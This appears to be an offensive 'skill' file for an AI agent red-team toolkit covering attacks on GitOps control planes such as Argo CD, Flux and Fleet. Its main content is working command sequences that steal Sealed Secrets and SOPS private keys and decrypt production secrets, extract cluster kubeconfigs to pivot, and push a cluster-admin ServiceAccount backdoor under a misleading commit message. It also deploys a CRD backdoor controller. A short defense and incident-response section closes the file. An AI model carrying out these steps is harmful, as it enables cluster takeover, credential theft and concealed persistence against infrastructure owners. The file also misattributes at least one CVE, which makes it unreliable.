| name | gitops-security |
| description | Attacks against GitOps control planes (Argo CD, FluxCD, Jenkins X, Tekton, Fleet, Rancher) — repo impersonation, manifest tampering, RBAC bypass, sync-wave abuse, secret management compromise (Sealed Secrets / SOPS / External Secrets / Vault), cluster privilege escalation via Application/CRDs, and post-exploitation persistence through CRD backdoors. Covers 2024-2025 Argo CD CVEs (CVE-2022-24348, CVE-2024-21626, CVE-2024-32564), FluxCD CVE-2024-37286, and the Akuukam/Code Catalyst supply chain incidents. |
| origin | kali-claw Wave 10 (v0.1.41) — 2026-06-28 |
| version | 1.0.0 |
| compatibility | {"kali_version":"2025.2","python_version":">=3.11","kubectl_required":true,"helm_required":true} |
| allowed-tools | ["kubectl","helm","argocd","flux","tkn","git","jq","yq","curl","python3","openssl","sops","kubeseal","vault"] |
| metadata | {"domain":"gitops","tool_count":16,"guide_count":2,"mitre":"TA0001-Initial Access, TA0003-Persistence, TA0004-Privilege Escalation, TA0005-Defense Evasion, TA0006-Credential Access, TA0009-Collection, T1190-Exploit Public-Facing Application, T1611-Escape to Host, T1525-Implant Internal Image, T1609-Container and Resource Discovery, T1613-Container and Resource Discovery, T1610-Deploy Container, T1611-Escape to Host"} |
GitOps Security Attack Skill
Red-team operations against GitOps control planes — the declarative CD layer that owns entire Kubernetes fleets. While adjacent skills cover the CI build side (ci-cd-supply-chain-attack) or container runtime (container-security), gitops-security targets the runtime reconciliation loop: the control plane that watches a Git source of truth and continuously reconciles thousands of clusters to that state. Compromise here = silent fleet-wide backdoor.
Summary
GitOps (Argo CD, FluxCD, Jenkins X, Tekton, Fleet, Argo Rollouts, Flux Helm Controller, Argo Image Updater) is the dominant Kubernetes continuous-deployment pattern of 2024-2026. The control plane holds:
- Cluster-admin equivalent RBAC (it must, to deploy workloads)
- Direct Git access with deploy keys / PATs across hundreds of repos
- Cluster-API credentials to every production cluster it manages
- Plaintext or recoverable secrets (Sealed Secrets private keys, SOPS AGE/GPG private keys, External Secrets OAuth tokens, Vault tokens)
A single GitOps compromise typically yields multi-cluster cluster-admin. This skill covers the full attack chain — recon against the control plane, repo impersonation, manifest tampering at every stage (commit → hook → render → apply → sync), RBAC bypass in CRD admission, secret-store compromise, and persistence via CRD backdoors that survive cluster rebuilds.
Distinct from adjacent skills:
| Skill | Scope |
|---|
ci-cd-supply-chain-attack | Build-time attacks (GitHub Actions, Jenkins build, dependency confusion, SBOM poisoning) |
container-security | Container runtime, image layers, escape from inside a pod |
cloud-identity-attack | Cloud IAM (AWS IAM, Azure AD, GCP IAM) — GitOps is downstream |
gitops-security (this) | Runtime reconciliation plane: Argo CD Application CRDs, Flux Kustomization/HelmRelease, sync waves, secret stores, multi-cluster fleet orchestration |
Use Cases
Reconnaissance & Discovery
- Identify GitOps controller from outside — fingerprint via API endpoints, well-known paths, response headers
- Enumerate Applications / Kustomizations / HelmReleases in-cluster via CRD discovery
- Map source-of-truth repos — recover repo URLs, deploy keys, branch names, sync policies
- Discover secret management stack — Sealed Secrets / SOPS / External Secrets / Vault — and locate private keys / tokens
- Enumerate RBAC across ApplicationSet, Kustomization, AppProject controllers
- Detect multi-cluster registries — Argo CD ApplicationSet cluster list, FluxCluster gateway, Rancher Fleet cluster groups
Initial Access
- Public Argo CD / Flux dashboard exposure with default credentials or unauthenticated API
- Repo impersonation via leaked deploy SSH key or PAT (write-access to source-of-truth repo = fleet compromise)
- Helm chart tampering — malicious chart pulled by HelmRelease from a public registry
- Kustomize remote base attack —
kustomization.yaml pulling from attacker-controlled GitHub raw
- CI artifact injection — Argo CD Image Updater polling a poisoned tag
- Webhook replay / signature bypass — Git provider → Argo CD / Flux webhook endpoint
Privilege Escalation
- Argo CD cluster RBAC escape — ApplicationSet Git generator → arbitrary cluster-admin apply
- Argo Rollouts CRD abuse — AnalysisTemplate → external metric call → cluster credential exfil
- Flux HelmRelease valuesKey injection —
valuesKey: ../../etc/passwd style path traversal
- Tekton Pipeline privileged task —
securityContext: privileged: true via PR
- Argo CD AppProject sync-window bypass — race between sync and window change
- Rancher Fleet Bundle cluster-group escalation —
defaultServiceAccount injection
- Sealed Secrets private-key recovery —
kubeseal --recover from a compromised controller pod
- SOPS AGE/GPG private-key theft — mounted as
age.agekey secret
Persistence
- CRD-level backdoor — custom resource that materializes a privileged ServiceAccount on every cluster
- Helm post-render hook —
post-install job that re-creates backdoor if deleted
- Argo CD
PreSync hook — runs before every sync, maintains cluster-admin rolebinding
- Flux
dependsOn cycle — recursive Kustomization that re-applies attacker manifests
- Sync-wave
wave: -100 injection — runs before legitimate manifests
Defense Evasion
- Self-healing as cover — Argo CD auto-sync deletes incident-response changes ("why does my pod keep coming back?")
- Argo CD
operationState manipulation — fake successful sync to hide failed malicious manifest
- Flux Kustomization healthCheck blind spot — hide unhealthy workload behind
prune: false
- Tekton Results tampering — modify
TaskRun.status after pipeline runs
- Audit log suppression via
kubectl --as=system:anonymous user impersonation
Collection & Exfiltration
- Cluster-wide secret dump via ApplicationSet cluster-scoped sync
- Git source-of-truth full clone via recovered deploy key
- Cross-cluster lateral — Fleet cluster-group → all downstream clusters
- Helm values secret extraction — HelmRelease
valuesFrom secret ref
- Vault KV dump via External Secrets Operator → Vault role
Core Tools
GitOps Controllers (Targets)
| Tool | Vendor / Project | Role |
|---|
| Argo CD | CNCF Graduated | Pull-based GitOps, Application CRD, AppProject, ApplicationSet |
| Argo Rollouts | CNCF Incubating | Progressive delivery, AnalysisTemplate |
| Argo Image Updater | Argo Project | Automated image tag bumps |
| FluxCD (v2) | CNCF Graduated | Push-based GitOps, Kustomization/HelmRelease/Source |
| FluxCD Notifications | Flux Project | Webhook + Slack/PagerDuty events |
| Jenkins X | CloudBees | GitOps + LTS Jenkins on top |
| Tekton | CD Foundation | Pipeline / Task / Trigger CRDs |
| Rancher Fleet | SUSE | Multi-cluster fleet GitOps |
| Carvel ytt / kapp | VMware | Templating + apply (often behind kapp-controller) |
| kapp-controller | Carvel | PackageRepository CRD |
Secret Stores (Targets)
| Tool | Purpose | Compromise Value |
|---|
| Sealed Secrets (Bitnami) | Asymmetric-encrypted-in-Git secrets | Private key = decrypt every sealed secret in Git history |
| SOPS (Mozilla / getsops) | AGE / GPG / cloud KMS encrypted YAML | Private key (or KMS grant) = decrypt all SOPS files |
| External Secrets Operator | Sync from Vault / AWS SM / GCP SM / Azure KV | Token / role = full secret-store access |
| HashiCorp Vault | Centralized secrets with dynamic leases | Root token / privileged role = full compromise |
| Cloud KMS / KMSabuse | Cloud-hosted key wrapping | KMS decrypt permission = unwrap all secrets |
| CSI Secrets Store | Pod-mounted secrets via kubelet | Driver pod compromise = hostPath of secrets |
Offensive Toolkit
kubectl api-resources --verbs=list -o name | xargs -n1 kubectl get -o name
kubectl get applications -A -o yaml
kubectl get applicationsets -A -o yaml
kubectl get kustomizations -A -o yaml
kubectl get helmreleases -A -o yaml
kubectl get gitrepositories -A -o yaml
kubectl get bundles -A -o yaml
kubectl get clustergroups -A -o yaml
kubectl get pipelines -A -o yaml
kubectl get secrets -A | grep -iE '(sealed|sops|age|vault|external)'
kubectl exec -n argocd argocd-server-xxx -- cat /app/config/argocd-cm-cm.yaml
kubectl get secret -n kube-system sealed-secrets-key -o yaml
kubectl get clustersecretstore -A -o yaml
curl -sk https://argocd.example.com/api/v1/applications -H "Authorization: $ARGO_TOKEN"
argocd account get-user-info --server argocd.example.com --auth-token "$ARGO_TOKEN"
argocd app list --server argocd.example.com --auth-token "$ARGO_TOKEN"
argocd proj role get-default --server argocd.example.com
kubectl proxy --port=8001 &
curl -s http://localhost:8001/api/v1/namespaces/flux-system/services/http:notification-controller:80/http:/
flux logs --kind=HelmRelease -n flux-system --follow
flux get helmreleases -A
kubectl get events -n flux-system --field-selector reason=ReconciliationSucceeded
kubectl exec -n kube-system deploy/sealed-secrets-controller -- \
/bin/sh -c 'cat /tmp/$(ls /tmp | grep -E "^sealed-secret.*key")'
kubectl get secret -n flux-system sops-age -o yaml | yq -r '.data."age.agekey"' | base64 -d
Methodology
Phase 1 — Reconnaissance (External + Internal)
Identify the GitOps control plane, its version, RBAC model, and source-of-truth repos. From outside: fingerprint via /api/v1/, /-/healthy, default ports (2746 Argo, 9000-9090 Flux webhook). From inside a pod: enumerate CRDs (kubectl api-resources), find the controller namespace (kube-system, argocd, flux-system, fleet-system, tekton-pipelines).
Goal: produce a target map listing every Application / Kustomization / HelmRelease with its source repo, destination cluster, and sync policy.
Phase 2 — Source-of-Truth Compromise
The Git repo is the single source of truth — write access = fleet compromise. Attack vectors:
- Leaked deploy SSH key / PAT — search GitHub code, gists, Shodan for
argo-deploy, flux-deploy patterns
- Mis-scoped token — Git provider token with
repo:write instead of repo:read
- Webhook subdomain takeover —
webhook.example.com CNAME → expired Heroku / GitLab Pages
- Branch-protection bypass —
force-push permission on HEAD branch
- PR reviewer exhaustion — typo-squat Kustomization PR to a busy reviewer
Goal: obtain write access to the source-of-truth repo, or compromise the GitOps controller's deploy-key secret in-cluster.
Phase 3 — Manifest Tampering (the kill chain)
Once you can mutate manifests, choose where along the chain:
| Stage | Technique | Detection surface |
|---|
| Git commit | Plausible-looking manifest in production/ | Git commit audit |
pre-commit hook | Tamper before commit lands | Hard (Git hook = local) |
| Webhook payload | Forge Git provider event | Webhook signature validation |
| Source fetch | MitM Git fetch | SSHFP / known_hosts |
| Kustomize / Helm build | Remote base / chart tampering | Pipeline artifact lock |
| Render | valuesKey traversal, postRender injection | Render diff before apply |
| Apply | Custom resource → privileged SA | Admission webhook |
| Sync | PreSync hook → cluster-admin | Sync hook audit |
| Post-sync | Helm post-install hook → re-create backdoor | Hook audit |
Phase 4 — Privilege Escalation
If initial GitOps RBAC is limited (e.g., namespace-scoped), escalate via:
- ApplicationSet Git generator —
template.cluster enumerates every cluster Argo knows
- Cluster-role aggregation — label a role to attach to
system:authenticated
- HelmRelease valuesFrom — read arbitrary secrets in the cluster
- Tekton Pipeline privileged SCC —
securityContext.privileged: true task
- AppProject sync-window race — sync outside window while window updates
- Sealed Secrets private-key recovery —
kubeseal --recover from inside controller pod
Phase 5 — Persistence
Self-healing GitOps is a defender's dream until it's weaponized:
- CRD backdoor: a custom resource that, on creation, materializes a
cluster-admin rolebinding — every sync re-applies it
- Sync-wave
wave: -100: runs before everything else, perfect for re-establishing a serviceaccount/token secret
- Post-render injection: Helm
postRender kustomize patch that adds hostPath: / mounts
- Self-recovering Kustomization:
dependsOn chain that re-applies attacker YAML even after manual kubectl delete
Phase 6 — Secret Store Compromise
Target the secret-management layer:
- Sealed Secrets: recover controller private key, decrypt any sealed secret offline
- SOPS: extract AGE/GPG private key from controller namespace, decrypt all SOPS files
- External Secrets: steal
ClusterSecretStore credentials → upstream Vault/AWS SM
- Vault: token-grab from External Secrets Operator → escalate to root
- CSI Secrets Store: compromise driver pod → hostPath all kubelet secrets
Phase 7 — Multi-Cluster Pivot
Argo CD ApplicationSet and Rancher Fleet can deploy to thousands of clusters. Pivot:
- Enumerate
cluster secrets in argocd namespace — each is a full kubeconfig
- Use Flux
GitRepository secrets to read every cluster's deploy key
- Use Fleet
Bundle to deploy a backdoor CRD across all cluster groups
- Use Argo
ApplicationSet.cluster generator to deploy a cluster-scoped backdoor
Practical Steps
Step A — Fingerprint the GitOps stack (anonymous)
curl -sk https://argocd.example.com/api/v1/version
curl -sk https://flux.example.com/hook/ -X POST -d '{}' -H "X-Flux-Trigger: random"
curl -sk https://fleet.example.com/api/health
curl -sk https://tekton.example.com/apis/tekton.dev/v1/namespaces/tekton-pipelines/pipelines
Step B — Discover in-cluster GitOps (post-initial-access)
kubectl api-resources --api-group=argoproj.io
kubectl api-resources --api-group=fluxcd.io
kubectl api-resources --api-group=fleet.cattle.io
kubectl api-resources --api-group=tekton.dev
kubectl get applications -A -o custom-columns=NS:.metadata.namespace,NAME:.metadata.name,DEST_NS:.spec.destination.namespace,DEST_CLUSTER:.spec.destination.server,REPO:.spec.source.repoURL,PATH:.spec.source.path
kubectl get kustomizations -A -o custom-columns=NS:.metadata.namespace,NAME:.metadata.name,SOURCE:.spec.sourceRef.name,PATH:.spec.path,TARGET_NS:.spec.targetNamespace
kubectl get helmreleases -A -o custom-columns=NS:.metadata.namespace,NAME:.metadata.name,CHART:.spec.chart.spec.chart,VERSION:.spec.chart.spec.version
Step C — Tamper manifests at the right stage
git clone git@github.com:example/gitops-prod.git
cd gitops-prod
cat > production/backdoor.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: argo-default
namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: argo-default-admin
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: argo-default
namespace: kube-system
EOF
git add . && git commit -m "fix: align RBAC with new audit policy"
git push
kubectl get rolebindings -n kube-system | grep cluster-admin
Step D — Recover Sealed Secrets private key
SEALED_KEY=$(kubectl get secret -n kube-system \
-l sealedsecrets.bitnami.com/sealed-secret-key=active \
-o name | head -1)
kubectl get $SEALED_KEY -n kube-system -o yaml | yq -r '.data."tls.key"' | base64 -d > sealed-private-key.pem
kubectl get $SEALED_KEY -n kube-system -o yaml | yq -r '.data."tls.crt"' | base64 -d > sealed-cert.pem
kubectl get sealedsecret production-db -n prod -o yaml > prod-db.sealed.yaml
kubeseal --recovery-private-key sealed-private-key.pem \
--recovery-cert sealed-cert.pem \
< prod-db.sealed.yaml > prod-db.decrypted.yaml
cat prod-db.decrypted.yaml
Step E — Recover SOPS AGE key
kubectl get secret -n flux-system -o yaml | grep -E '(age|sops)' | head
kubectl get secret sops-age -n flux-system -o yaml | yq -r '.data."age.agekey"' | base64 -d > age.key
chmod 600 age.key
export SOPS_AGE_KEY_FILE=$PWD/age.key
git clone git@github.com:example/gitops-prod.git
cd gitops-prod
sops --decrypt secrets/production.yaml
Step F — Pivot via ApplicationSet cluster list
kubectl get secret -n argocd -l argocd.argoproj.io/secret-type=cluster
kubectl get secret cluster-prod-us-east-1 -n argocd -o yaml | \
yq -r '.data.config' | base64 -d > prod-us-east-1.kubeconfig
kubectl --kubeconfig=prod-us-east-1.kubeconfig get pods -A
Step G — Persistence via CRD backdoor
apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
name: backdoors.kali.claw
spec:
group: kali.claw
names:
kind: Backdoor
plural: backdoors
scope: Namespaced
versions:
- name: v1
served: true
storage: true
schema:
openAPIV3Schema:
type: object
properties:
spec:
type: object
properties:
image:
type: string
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: backdoor-controller
namespace: kube-system
spec:
template:
spec:
serviceAccountName: argo-default
containers:
- name: controller
image: kali/claw-backdoor:latest
Defense Perspective
Detection (Blue Team)
Argo CD
- Audit
application and applicationset create/update events
- Log every
argocd app sync and the diff it applied
- Alert on
syncPolicy.syncOptions: [CreateNamespace=true] to new namespaces
- Alert on
cluster-admin rolebindings materialized via sync
- Monitor
argocd-server logs for permission denied → succeeded pattern
Flux
kubectl get events -n flux-system --field-selector reason=HelmReleaseReconciliationFailed
- Audit
GitRepository.spec.url changes — alert on new domains
- Alert on
Kustomization.spec.dependsOn cycle (lateral movement)
- Monitor
notification-controller for unexpected webhook source IPs
Sealed Secrets
- Alert on
kubectl exec into sealed-secrets-controller pod
- Alert on
kubectl get secret -l sealedsecrets.bitnami.com/sealed-secret-key=active
- Audit
kubeseal --recovery-private-key invocations
SOPS
- Alert on
SOPS_AGE_KEY_FILE env var on pods that aren't the controller
- Audit
kubectl get secret sops-age -n flux-system
- Cloud KMS: alert on
kms:Decrypt bursts from the GitOps namespace's IAM role
External Secrets
- Audit
ClusterSecretStore create/update — alert on new upstream URIs
- Monitor External Secrets Operator logs for
refreshing secret outside sync window
- Cloud: alert on Vault token use from unexpected source IP
Hardening
- Network — GitOps API not exposed publicly; webhook endpoint behind mTLS
- RBAC — GitOps ServiceAccount is
cluster-admin only on deploy namespaces; use AppProject source namespaces restriction
- Image policy — all controller images from private registry with Cosign verification
- Source integrity — GPG-signed commits required; Argo CD
gpgPublicKeySecret enforced
- Admission — OPA Gatekeeper / Kyverno policies rejecting privileged SCC, hostPath, hostNetwork
- Sync windows — manual sync only during approved windows; auto-sync disabled for
production
- Secret stores — Sealed Secrets key scoped to namespaces; AGE key rotated quarterly; External Secrets short-lived tokens
- Audit — Audit log forwarded off-cluster (defender cannot tamper)
- Drift detection —
argocd app diff cron against last-known-good Git HEAD
- Multi-cluster — fleet GitOps uses per-cluster RBAC, not cluster-admin everywhere
Incident Response
When GitOps compromise is suspected:
- Freeze Git — branch protection to read-only on source-of-truth
- Pause all controllers —
kubectl scale deploy/argocd-application-controller --replicas=0 -n argocd; kubectl scale deploy/source-controller --replicas=0 -n flux-system
- Diff last 50 commits —
git log --since='2 weeks ago' --pretty=format:'%h %an %s'
- Audit all CRDs —
kubectl get applications,kustomizations,helmreleases,bundles -A → diff against git HEAD
- Rotate — deploy keys, AGE/Sealed keys, Vault tokens, External Secrets OAuth tokens
- Hunt — for CRD backdoors, post-render hooks, sync-wave
wave: -100 manifests
- Restore — from last-known-good Git HEAD; force-resync; monitor reconciliation
- Post-mortem — full CRD audit, controller RBAC review, webhook signature policy
References